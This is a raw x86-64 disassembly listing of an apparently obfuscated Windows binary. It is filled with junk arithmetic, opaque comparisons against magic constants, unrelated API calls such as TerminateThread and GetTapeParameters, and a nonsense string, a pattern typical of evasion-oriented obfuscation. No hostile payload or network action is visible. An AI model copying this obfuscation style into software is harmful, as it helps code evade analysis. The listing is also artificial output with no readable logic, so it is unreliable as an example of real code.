movzx eax, word [rax]
mov rcx, qword [rsp + 0x3560]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x36d8]
mov word [rcx], ax
movzx eax, byte [rsp + 0xe0]
movzx ecx, byte [0x14017c010]
add eax, ecx
mov rcx, qword [rsp + 0x3648]
mov byte [rcx], al
movsx eax, byte [rsp + 0xe1]
movsx ecx, byte [rsp + 0xe5]
sub eax, ecx
mov rcx, qword [rsp + 0x3748]
mov byte [rcx], al
mov rax, qword [rsp + 0x3510]
mov ecx, dword [rsp + 0x1ba8]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x3650]
mov dword [rcx], eax
cmp dword [rsp + 0x1c48], 0xd07a
jne 0x14005a319
mov rax, qword [rsp + 0x3660]
mov ecx, dword [rsp + 0x1cdc]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x34d0]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0x1bc4]
and edx, ecx
mov ecx, edx
cmp eax, ecx
ja 0x14012e5d7
mov rax, qword [rsp + 0x34e8]
movzx eax, word [rax]
mov dword [rsp + 0x1ce8], eax
cmp dword [rsp + 0x1ce8], 0
je 0x14005a993
cmp dword [rsp + 0x1ce8], 0xc29
je 0x14005aa07
jmp 0x14005aa27
mov rax, qword [rsp + 0x35a8]
movzx eax, byte [rax]
imul eax, eax, 0x33
mov rcx, qword [rsp + 0x35a8]
mov byte [rcx], al
lea rax, [rsp + 0x7b4]
mov qword [rsp + 0x3780], rax
mov rax, qword [rsp + 0x35d0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xe1]
and eax, ecx
mov rcx, qword [rsp + 0x35d0]
mov byte [rcx], al
mov rax, qword [rsp + 0x3668]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x36f8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x7bc], ax
mov dword [rsp + 0x1cec], 0xdae2
jmp 0x14005aa27
movzx eax, word [rsp + 0x7c0]
mov rcx, qword [rsp + 0x3780]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x34c0]
mov word [rcx], ax
mov rax, qword [rsp + 0x36d8]
movzx eax, word [rax]
mov dword [rsp + 0x1cf0], eax
cmp dword [rsp + 0x1cf0], 0
je 0x14005aa59
cmp dword [rsp + 0x1cf0], 0xbd2
je 0x14005aaf1
jmp 0x14005ab1c
mov rax, qword [rsp + 0x35a8]
movzx eax, byte [rax]
mov byte [rsp + 0xe7], al
mov eax, dword [rsp + 0x1bc4]
mov ecx, dword [rsp + 0x1bb8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1ca0], eax
mov rax, qword [0x14017c008]
mov qword [rsp + 0x3788], rax
mov rax, qword [rsp + 0x3640]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3178]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x3260], rax
mov eax, dword [rsp + 0x1c90]
mov ecx, dword [rsp + 0x1c5c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3690]
mov dword [rcx], eax
movsx eax, byte [rsp + 0xe6]
mov rcx, qword [rsp + 0x35d0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x35a0]
mov byte [rcx], al
jmp 0x14005ab1c
mov rax, qword [rsp + 0x3560]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x7c4]
and eax, ecx
mov word [rsp + 0x7b4], ax
call qword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
mov word [rsp + 0x7b4], ax
lea rax, [rsp + 0x720]
mov qword [rsp + 0x3790], rax
cmp dword [rsp + 0x1cc8], 0x1c21
jb 0x14005ad92
movsx eax, byte [0x14017c011]
mov rcx, qword [rsp + 0x3748]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xe5], al
mov rax, qword [rsp + 0x36f8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x720]
or eax, ecx
mov word [0x14017ced0], ax
mov rax, qword [rsp + 0x3660]
mov rcx, qword [rsp + 0x34d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x1bc4], eax
mov rax, qword [rsp + 0x3788]
movzx ecx, al
mov rax, qword [rsp + 0x3678]
shl rax, cl
mov rcx, qword [rsp + 0x3688]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3510]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x3650]
mov qword [rsp + 0x3798], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3798]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x3690]
mov dword [rcx], eax
mov eax, dword [rsp + 0x1cc8]
sub eax, 0x98
mov dword [rsp + 0x1cc8], eax
mov rax, qword [rsp + 0x3680]
mov rcx, qword [rsp + 0x3280]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x3640]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3780]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x7c0]
and eax, ecx
mov rcx, qword [rsp + 0x34e8]
mov word [rcx], ax
mov rax, qword [rsp + 0x3560]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x36d8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x3780]
mov word [rcx], ax
movzx eax, byte [rsp + 0xe2]
movzx ecx, byte [rsp + 0xe4]
sub eax, ecx
mov byte [rsp + 0xe3], al
mov rax, qword [rsp + 0x36f8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x7c8]
add eax, ecx
mov rcx, qword [rsp + 0x3790]
mov word [rcx], ax
mov rax, qword [rsp + 0x35a0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x35d0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x14017c011], al
mov rax, qword [rsp + 0x3510]
mov ecx, dword [rsp + 0x1bac]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x1bf8], eax
mov rax, qword [rsp + 0x3528]
mov rcx, qword [rsp + 0x3658]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3640]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3700]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3678]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3768]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3660]
mov rcx, qword [rsp + 0x34d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x3660]
mov dword [rcx], eax
movzx eax, byte [rsp + 0xe0]
mov rcx, qword [rsp + 0x35c8]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0xe7], al
mov rax, qword [rsp + 0x36f8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3790]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x7c8], ax
mov rax, qword [rsp + 0x35a8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe3]
shl eax, cl
mov rcx, qword [rsp + 0x35a8]
mov byte [rcx], al
jmp 0x14005ab2c
movsx eax, byte [rsp + 0xe5]
movsx ecx, byte [rsp + 0xe6]
xor eax, ecx
mov rcx, qword [rsp + 0x3518]
mov byte [rcx], al
mov dword [rsp + 0x1cf4], 0xb255
lea rax, [rsp + 0x7c4]
mov qword [rsp + 0x37a0], rax
cmp dword [rsp + 0x1c54], 0x51b8
jae 0x14005b0aa
mov rax, qword [rsp + 0x3680]
mov rcx, qword [rsp + 0x3178]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x3658], rax
mov rax, qword [rsp + 0x3510]
mov rcx, qword [rsp + 0x3650]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x3690]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3768]
mov rcx, qword [rsp + 0x3788]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x3768]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3660]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1bb8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x34d0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x1c54]
add eax, 0xce
mov dword [rsp + 0x1c54], eax
movsx eax, word [0x14017ced0]
mov rcx, qword [rsp + 0x3668]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x7bc], ax
mov rax, qword [rsp + 0x36d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x7c0]
sub eax, ecx
mov word [rsp + 0x7c4], ax
mov rax, qword [rsp + 0x3518]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xe1]
add eax, ecx
mov byte [rsp + 0xe5], al
mov rax, qword [rsp + 0x35a8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x35c8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x14017c010], al
mov rax, qword [rsp + 0x3780]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3560]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x3780]
mov word [rcx], ax
mov rax, qword [rsp + 0x3768]
mov rcx, qword [rsp + 0x3788]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x3678], rax
mov rax, qword [rsp + 0x3640]
mov rcx, qword [rsp + 0x34c8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x3640]
mov qword [rcx], rax
mov eax, dword [rsp + 0x1bc4]
movzx ecx, al
mov eax, dword [rsp + 0x1b98]
shl eax, cl
mov rcx, qword [rsp + 0x3660]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3650]
mov rcx, qword [rsp + 0x3510]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x3690]
mov dword [rcx], eax
movsx eax, byte [rsp + 0xe5]
movsx ecx, byte [0x14017c011]
sar eax, cl
mov byte [rsp + 0xe1], al
movzx eax, byte [rsp + 0xe2]
mov rcx, qword [rsp + 0x35c8]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x35a8]
mov byte [rcx], al
mov rax, qword [rsp + 0x3668]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x720]
and eax, ecx
mov word [rsp + 0x7bc], ax
movzx eax, byte [rsp + 0xe7]
mov rcx, qword [rsp + 0x35a8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x14017c010], al
movzx eax, byte [rsp + 0xe3]
movzx ecx, byte [rsp + 0xe7]
sub eax, ecx
mov rcx, qword [rsp + 0x3648]
mov byte [rcx], al
mov rax, qword [rsp + 0x3688]
mov rcx, qword [0x14017c008]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x3700]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3640]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3528]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x3508], rax
mov rax, qword [rsp + 0x3660]
mov ecx, dword [rsp + 0x1bc4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x1cdc], eax
mov rax, qword [rsp + 0x3510]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1c5c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3650]
mov dword [rcx], eax
mov rax, qword [rsp + 0x36f8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x720]
sub eax, ecx
mov rcx, qword [rsp + 0x36f8]
mov word [rcx], ax
jmp 0x14005adc9
movsx eax, byte [rsp + 0xe1]
movsx ecx, byte [rsp + 0xe5]
sub eax, ecx
mov rcx, qword [rsp + 0x35a0]
mov byte [rcx], al
mov rax, qword [rsp + 0x35d0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xe5]
sar eax, cl
mov rcx, qword [rsp + 0x35a0]
mov byte [rcx], al
mov rax, qword [rsp + 0x35a8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe4]
shl eax, cl
mov byte [0x14017c010], al
movsx eax, word [rsp + 0x7bc]
movsx ecx, word [rsp + 0x7c8]
xor eax, ecx
mov rcx, qword [rsp + 0x36a8]
mov word [rcx], ax
mov rax, qword [rsp + 0x3690]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1c90]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3650]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3680]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3280]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x3658], rax
mov rax, qword [rsp + 0x3660]
mov ecx, dword [rsp + 0x1bc4]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x3660]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3768]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3678]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3700]
mov qword [rcx], rax
mov eax, dword [rsp + 0x1b90]
add eax, 0xb
mov dword [rsp + 0x1b90], eax
mov rax, qword [rsp + 0x35c8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe7]
add eax, ecx
mov rcx, qword [rsp + 0x35c8]
mov byte [rcx], al
mov rax, qword [rsp + 0x37a0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x7c0]
sub eax, ecx
mov rcx, qword [rsp + 0x37a0]
mov word [rcx], ax
mov rax, qword [rsp + 0x3668]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x720]
and eax, ecx
mov word [rsp + 0x7c8], ax
mov rax, qword [rsp + 0x3768]
mov rcx, qword [rsp + 0x3688]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x14017c008], rax
mov rax, qword [rsp + 0x35a0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x3748]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xe1], al
mov rax, qword [rsp + 0x3688]
mov rcx, qword [rsp + 0x3678]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x3688]
mov qword [rcx], rax
mov rax, qword [rsp + 0x34c8]
mov rcx, qword [rsp + 0x3280]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x34c8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3650]
mov ecx, dword [rsp + 0x1c5c]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x3690]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3660]
mov ecx, dword [rsp + 0x1bc4]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x34d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3790]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x7bc]
shl eax, cl
mov word [rsp + 0x720], ax
cmp dword [rsp + 0x1b90], 0xd488
jb 0x14005b0e5
mov rax, qword [rsp + 0x3660]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x34d0]
mov qword [rsp + 0x37a8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x37a8]
mov eax, dword [rax]
shr eax, cl
mov ecx, dword [rsp + 0x1cdc]
mov edx, dword [rsp + 0x1bc4]
and edx, ecx
mov ecx, edx
cmp eax, ecx
jbe 0x14005b3d6
movsx eax, byte [rsp + 0xe5]
movsx ecx, byte [0x14017c011]
sub eax, ecx
mov rcx, qword [rsp + 0x35a0]
mov byte [rcx], al
mov rax, qword [rsp + 0x3528]
mov qword [rsp + 0x37b0], rax
movabs rax, 0x2087021ac76c171c
cmp qword [rsp + 0x37b0], rax
je 0x14005b378
jmp 0x14005b3a4
movzx eax, word [rsp + 0x7b8]
mov rcx, qword [rsp + 0x36d8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x7c4], ax
mov ecx, dword [rsp + 0x1c5c]
call fcn.14012efc0
nop
jmp 0x14005b3d4
mov rcx, qword [rsp + 0x3520]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x1cf8], eax
movzx eax, byte [0x14017c010]
movzx ecx, byte [rsp + 0xe4]
add eax, ecx
mov rcx, qword [rsp + 0x35a8]
mov byte [rcx], al
jmp 0x14005b417
mov eax, dword [rsp + 0x1b98]
mov ecx, dword [rsp + 0x1ca0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3660]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0x1bb8]
add edx, ecx
mov ecx, edx
cmp eax, ecx
jae 0x14005b417
movzx edx, word [rsp + 0x7b4]
movzx ecx, word [rsp + 0x7b4]
call fcn.14012fec0
nop
mov rax, qword [0x14017cee0]
movzx eax, byte [rax]
mov byte [rsp + 0x1cfc], al
cmp byte [rsp + 0x1cfc], 0x40
je 0x14005b441
cmp byte [rsp + 0x1cfc], 0xad
je 0x14005b4a5
jmp 0x14005b4e4
mov eax, dword [rsp + 0x1c5c]
mov dword [0x14017cee8], eax
lea rax, [rsp + 0x720]
mov qword [rsp + 0x37b8], rax
mov rax, qword [rsp + 0x3510]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1bf8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x1bac], eax
mov rax, qword [rsp + 0x3178]
mov qword [rsp + 0x37c0], rax
mov eax, dword [rsp + 0x1bb8]
mov ecx, dword [rsp + 0x1bc4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x1cdc], eax
jmp 0x14005b4e4
mov rax, qword [rsp + 0x3700]
mov rcx, qword [rsp + 0x3688]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x3678], rax
mov rax, qword [0x14017cee0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe3]
sub eax, ecx
mov rcx, qword [rsp + 0x35c8]
mov byte [rcx], al
movsx eax, byte [rsp + 0xe6]
mov rcx, qword [rsp + 0x3748]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x3518]
mov byte [rcx], al
mov rax, qword [rsp + 0x3178]
mov qword [rsp + 0x37c8], rax
cmp qword [rsp + 0x37c8], 0
je 0x14005b523
jmp 0x14012e4e8
lea rax, [rsp + 0x37c0]
mov qword [rsp + 0x37d0], rax
cmp dword [rsp + 0x1c70], 0xd292
je 0x14005b860
mov rax, qword [rsp + 0x3660]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1b98]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x34d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3678]
mov rcx, qword [rsp + 0x3788]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3700]
mov qword [rcx], rax
mov eax, dword [rsp + 0x1ba8]
mov ecx, dword [0x14017cee8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x1bf8], eax
movsx eax, byte [rsp + 0xe1]
movsx ecx, byte [rsp + 0xe6]
sub eax, ecx
mov byte [rsp + 0xe5], al
mov rax, qword [rsp + 0x3790]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x720]
sub eax, ecx
mov word [rsp + 0x7bc], ax
mov rax, qword [rsp + 0x3648]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe2]
and eax, ecx
mov rcx, qword [rsp + 0x3648]
mov byte [rcx], al
mov rax, qword [rsp + 0x3768]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3678]
add rcx, rax
mov rax, rcx
mov qword [0x14017c008], rax
movzx eax, word [rsp + 0x7b4]
movzx ecx, word [rsp + 0x7b8]
shl eax, cl
mov rcx, qword [rsp + 0x34e8]
mov word [rcx], ax
mov eax, dword [rsp + 0x1bc4]
mov rcx, qword [rsp + 0x34d0]
mov qword [rsp + 0x37d8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x37d8]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x1b98], eax
mov eax, dword [rsp + 0x1c90]
mov ecx, dword [0x14017cee8]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3510]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3688]
mov rcx, qword [rsp + 0x3700]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x3788], rax
mov rax, qword [rsp + 0x3280]
mov rcx, qword [rsp + 0x3658]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x34c8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3780]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x7c4]
and eax, ecx
mov word [rsp + 0x7b8], ax
movzx eax, word [rsp + 0x7c0]
mov rcx, qword [rsp + 0x3560]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x7b8], ax
mov rax, qword [rsp + 0x35c8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x3648]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x35c8]
mov byte [rcx], al
mov rax, qword [rsp + 0x3688]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3678]
sub rcx, rax
mov rax, rcx
mov rcx, qword [0x14017ced8]
mov qword [rcx], rax
movsx eax, byte [0x14017c011]
mov rcx, qword [rsp + 0x3518]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x35d0]
mov byte [rcx], al
mov rax, qword [rsp + 0x3780]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x34e8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x3560]
mov word [rcx], ax
mov rax, qword [rsp + 0x3508]
mov rcx, qword [rsp + 0x3260]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x3658], rax
mov rax, qword [rsp + 0x3768]
mov rcx, qword [rsp + 0x3688]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x3700]
mov qword [rcx], rax
mov rax, qword [rsp + 0x34d0]
mov rcx, qword [rsp + 0x3660]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x1b98], eax
mov eax, dword [rsp + 0x1c70]
add eax, 0xdd
mov dword [rsp + 0x1c70], eax
mov rax, qword [rsp + 0x3510]
mov ecx, dword [rsp + 0x1ba8]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x1bac], eax
mov rax, qword [rsp + 0x35a0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x35d0]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0xe1], al
movsx eax, word [rsp + 0x720]
mov rcx, qword [rsp + 0x36a8]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x7bc], ax
movzx eax, byte [rsp + 0xe0]
movzx ecx, byte [rsp + 0xe7]
shl eax, cl
mov rcx, qword [0x14017cee0]
mov byte [rcx], al
jmp 0x14005b533
mov rax, qword [rsp + 0x3780]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x7b4]
add eax, ecx
mov rcx, qword [rsp + 0x36d8]
movzx ecx, word [rcx]
movzx edx, word [rsp + 0x7c0]
add ecx, edx
cmp eax, ecx
jl 0x14012e45d
movzx eax, word [rsp + 0x7c4]
movzx ecx, word [rsp + 0x7c0]
add eax, ecx
mov word [rsp + 0x7b8], ax
lea rax, [rsp + 0x1cdc]
mov qword [rsp + 0x37e0], rax
movzx eax, byte [rsp + 0xe5]
mov byte [rsp + 0x1d00], al
cmp byte [rsp + 0x1d00], 0
je 0x14005b8da
jmp 0x14012e323
mov rax, qword [rsp + 0x37e0]
mov eax, dword [rax]
mov dword [rsp + 0x1d04], eax
cmp dword [rsp + 0x1d04], 0
je 0x14005b8fa
jmp 0x14005b9d7
lea rax, [rsp + 0xe4]
mov qword [rsp + 0x37e8], rax
mov rax, qword [rsp + 0x3700]
mov rax, qword [rax]
mov rcx, qword [0x14017c008]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3688]
mov rdx, qword [rsp + 0x3788]
mov rcx, qword [rcx]
xor rcx, rdx
cmp rax, rcx
jbe 0x14005b959
mov edx, 0xbc
mov rcx, qword [rsp + 0x3738]
call qword [sym.imp.KERNEL32.dll_TerminateThread]
mov dword [rsp + 0x1d08], eax
jmp 0x14005b9d5
mov rax, qword [rsp + 0x3648]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x35c8]
movzx ecx, byte [rcx]
and eax, ecx
movzx ecx, byte [rsp + 0xe3]
mov rdx, qword [rsp + 0x35a8]
movzx edx, byte [rdx]
sub ecx, edx
cmp eax, ecx
jge 0x14005b9d5
mov rax, qword [rsp + 0x37b8]
movsx eax, word [rax]
movsx ecx, word [0x14017ced0]
add eax, ecx
mov rcx, qword [rsp + 0x36a8]
mov word [rcx], ax
mov rax, qword [rsp + 0x3518]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xe5]
and eax, ecx
mov byte [rsp + 0xe6], al
mov rax, qword [rsp + 0x3510]
mov ecx, dword [rax]
call fcn.14012efc0
nop
jmp 0x14005ba42
lea r9, [rsp + 0x3748]
lea r8, [rsp + 0x34e8]
mov edx, 0x4f
mov rcx, qword [rsp + 0x36c8]
call qword [sym.imp.KERNEL32.dll_GetTapeParameters]
mov dword [rsp + 0x1b98], eax
mov rax, qword [rsp + 0x3680]
mov rcx, qword [rsp + 0x3640]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x34c8]
mov qword [rcx], rax
mov rax, qword [0x14017c008]
mov rcx, qword [rsp + 0x3678]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x3788], rax
mov rax, qword [rsp + 0x37e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1cdc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x1b98], eax
mov rax, qword [rsp + 0x3658]
mov qword [rsp + 0x37f0], rax
cmp qword [rsp + 0x37f0], 0
je 0x14005ba96
movabs rax, 0x403dac10edba3f99
cmp qword [rsp + 0x37f0], rax
je 0x14012e20c
jmp 0x14012e271
movzx eax, byte [rsp + 0xe7]
mov rcx, qword [rsp + 0x35a8]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x3648]
movzx ecx, byte [rcx]
movzx edx, byte [rsp + 0xe4]
and ecx, edx
cmp eax, ecx
jg 0x14005bbb3
movzx eax, byte [rsp + 0xe4]
movzx ecx, byte [rsp + 0xe2]
sub eax, ecx
mov rcx, qword [rsp + 0x3648]
movzx ecx, byte [rcx]
mov rdx, qword [rsp + 0x37e8]
movzx edx, byte [rdx]
sub ecx, edx
cmp eax, ecx
jge 0x14005bba5
mov rax, qword [rsp + 0x37a0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x7c4]
and eax, ecx
mov rcx, qword [rsp + 0x36d8]
mov word [rcx], ax
mov eax, dword [rsp + 0x1bb8]
mov dword [rsp + 0x1d0c], eax
cmp dword [rsp + 0x1d0c], 0x196209cd
je 0x14005bb37
jmp 0x14005bb4e
lea rcx, [rsp + 0x14790]
call qword [sym.imp.COMCTL32.dll_PropertySheetA]
mov dword [rsp + 0x1c5c], eax
jmp 0x14005bba3
mov rax, qword [rsp + 0x37e0]
mov rcx, qword [rsp + 0x3660]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x1bc4], eax
mov rax, qword [rsp + 0x3700]
mov rcx, qword [rsp + 0x3688]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x3700]
mov qword [rcx], rax
lea rcx, str.feasibility_tectonically_teachesCommencing
call qword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov dword [rsp + 0x1cdc], eax
jmp 0x14005bbb3
movzx ecx, word [rsp + 0x7c4]
call fcn.1401302a0
nop
mov rax, qword [0x14017cee0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe4]
add eax, ecx
movzx ecx, byte [rsp + 0xe0]
mov rdx, qword [rsp + 0x3648]
movzx edx, byte [rdx]
add ecx, edx
cmp eax, ecx
jge 0x14005bca6
mov rax, qword [rsp + 0x3680]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3508]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x34c8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x35a0]
movzx eax, byte [rax]
mov byte [rsp + 0x1d10], al
cmp byte [rsp + 0x1d10], 0x42
je 0x14005bc26
jmp 0x14005bc90
mov eax, dword [rsp + 0x1c90]
movzx ecx, al
mov eax, dword [rsp + 0x1ba8]
sar eax, cl
mov dword [rsp + 0x1bf8], eax
mov rcx, qword [rsp + 0x3608]
call qword [sym.imp.COMCTL32.dll_MakeDragList]
mov dword [rsp + 0x1d14], eax
movsx eax, byte [rsp + 0xe5]
movsx ecx, byte [0x14017c011]
or eax, ecx
mov rcx, qword [rsp + 0x35a0]
mov byte [rcx], al
mov rax, qword [rsp + 0x37e8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x35c8]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [0x14017c010], al
jmp 0x14005bca6
mov rdx, qword [rsp + 0x3788]
movzx ecx, byte [rsp + 0xe6]
call fcn.140130610
nop
mov rax, qword [rsp + 0x3660]
mov eax, dword [rax]
mov dword [rsp + 0x1d18], eax
cmp dword [rsp + 0x1d18], 0
je 0x14005bcd7
cmp dword [rsp + 0x1d18], 0xc44d0c9b
je 0x14005bde6
jmp 0x14005be4e
mov rax, qword [rsp + 0x3668]
movzx eax, word [rax]
mov word [rsp + 0x7cc], ax
mov rax, qword [rsp + 0x3668]
movsx eax, word [rax]
